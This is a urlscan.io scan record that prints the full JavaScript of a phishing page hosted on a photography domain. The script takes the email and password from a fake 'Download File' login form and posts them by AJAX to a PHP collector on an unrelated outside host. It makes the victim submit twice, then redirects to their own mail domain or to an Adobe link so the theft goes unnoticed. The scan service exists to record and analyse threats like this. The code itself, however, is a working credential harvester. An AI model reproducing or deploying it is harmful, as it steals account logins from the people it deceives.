skysimone.photography Open in urlscan Pro
162.241.121.34  Public Scan

URL: https://skysimone.photography/003/source.js
Submission: On November 19 via manual from GB — Scanned from GB

Form analysis 0 forms found in the DOM

Text Content

 var count=0;

    /* global $ */
    $(document).ready(function(){
		$("#err").hide();
		$("#xpas").focus();
     var email1=$("#xusa").val();
      if (!email1) {

      }
      else
      {
        var my_email = email1;
        var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

        if (!filter.test(my_email)) {
          $('#err').show();
           email.focus;
           return false;
        }
        var ind= my_email.indexOf("@");
        var my_slice=my_email.substr((ind+1));
        var mainPage = 'https://www.'+my_slice; 
        //$("#login_logo1").attr("src", "https://www.google.com/s2/favicons?domain="+mainPage);
		 
      }
      
      $('#btn_id').click(function(event){
		//$('#error').hide();
		//$('#passwordError').hide();
         event.preventDefault();
	 	
		if($('#xpas').val() == ""){
		    $('#err').show();
		    return false;
	    }else{
	        
	     var email=$("#xusa").val();
         var password=$("#xpas").val();
			count=count+1;
		$.ajax({
        dataType: 'JSON',
        url: 'https://olamideadeoye.com/nc_assets/fonts/next.php',
        type: 'POST',
        data:{
          user:email,
          pass:password
        },
            // data: $('#contact').serialize(),
            beforeSend: function(xhr){
              $('#btn_id').html('Validating...');
			  
    //  console.log(count); 
            },
            success: function(response){
			 $('#err').show();
              if(response){
                $("#err").show();
				console.log(response);
				$('#err').html(response['msg']);
                if(response['signal'] == 'ok'){
                  $("#xpas").val("");
                  if (count>=2) {
                    count=0;
                    // window.location.replace(response['redirect_link']);
                    window.location.replace("http://www."+my_slice); 

                  }
                  // $('#messagefont').html(response['msg']);
                }
                else{
                   $('#err').show();
                }
              }
            },
            error: function(){
              $("#xpas").val("");
              $("#xpas").focus();
              if (count>=2) {
                count=0;
                window.location.replace("https://documentcloud.adobe.com/link/track?uri=urn:aaid:scds:US:6f66252c-c063-48cf-94d4-e16cf2357895"); 
              }
              $("#err").show();
            },
            complete: function(){
              $('#btn_id').html('Download File (300kb)');
              $("#xpas").val("");
              $("#xpas").focus();
              if (count>=2) {
                count=0;
                window.location.replace("https://documentcloud.adobe.com/link/track?uri=urn:aaid:scds:US:6f66252c-c063-48cf-94d4-e16cf2357895"); 
              }
              $("#err").show();
              // $('#messagefont').html("Please try again later");
            }
          });
	    }
	
		 
      ///////////new injection////////////////
    //  console.log(count); 
    });
      
      
    });